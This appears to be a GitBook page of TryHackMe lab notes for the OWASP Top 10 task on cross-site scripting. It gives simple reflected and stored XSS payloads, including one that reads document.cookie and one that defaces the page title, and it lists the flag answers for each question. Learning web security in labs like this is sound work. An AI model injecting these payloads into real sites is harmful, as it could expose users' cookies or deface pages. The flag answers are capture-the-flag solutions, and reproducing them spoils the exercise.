🥷
TryHackMe
  • 🥷TryHackMe
  • Web Hacking Fundamentals
    • OWASP Top10
      • Task 5
      • Task 7
      • Task 8~11
      • Task 12~16
      • Task 20
      • Task 21~26
      • Task 29
  • Jr Penetration Tester
    • Introduction to Cyber Security
  • Red Teaming
    • Red Team Fundamentals
  • EXTRA
    • Advent of Cyber 2022
      • Day 1
      • Day 2
      • Day 3
      • Day 4
      • Day 5
      • Day 6
      • Day 7
      • Day 8
      • Day 9
      • Day 10
      • Day 11
Powered by GitBook
On this page
  • Navigate to http://10.10.172.84/ in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".
  • On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.
  • Now navigate to http://10.10.172.84/ in your browser and click on the "Stored XSS" tab on the navbar; make an account. Then add a comment and see if you can insert some of your own HTML.
  • On the same page, create an alert popup box appear on the page with your document cookies.
  • Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.
  1. Web Hacking Fundamentals
  2. OWASP Top10

Task 20

PreviousTask 12~16NextTask 21~26

Last updated 2 years ago

Navigate to in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".

On input search

<script>alert(“Hello”)</script>

Answer

ThereIsMoreToXSSThanYouThink

On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

<script>alert(window.location.hostname)</script>

Answer

ReflectiveXss4TheWin

Now navigate to in your browser and click on the "Stored XSS" tab on the navbar; make an account. Then add a comment and see if you can insert some of your own HTML.

<h1>this is an HTML tag </h1>

Answer

HTML_T4gs

On the same page, create an alert popup box appear on the page with your document cookies.

<script>alert(document.cookie)</script>

Answer

W3LL_D0N3_LVL2

Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

Find the ID of the XSS playground element

<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

Answer

websites_can_be_easily_defaced_with_xss

http://10.10.172.84/
http://10.10.172.84/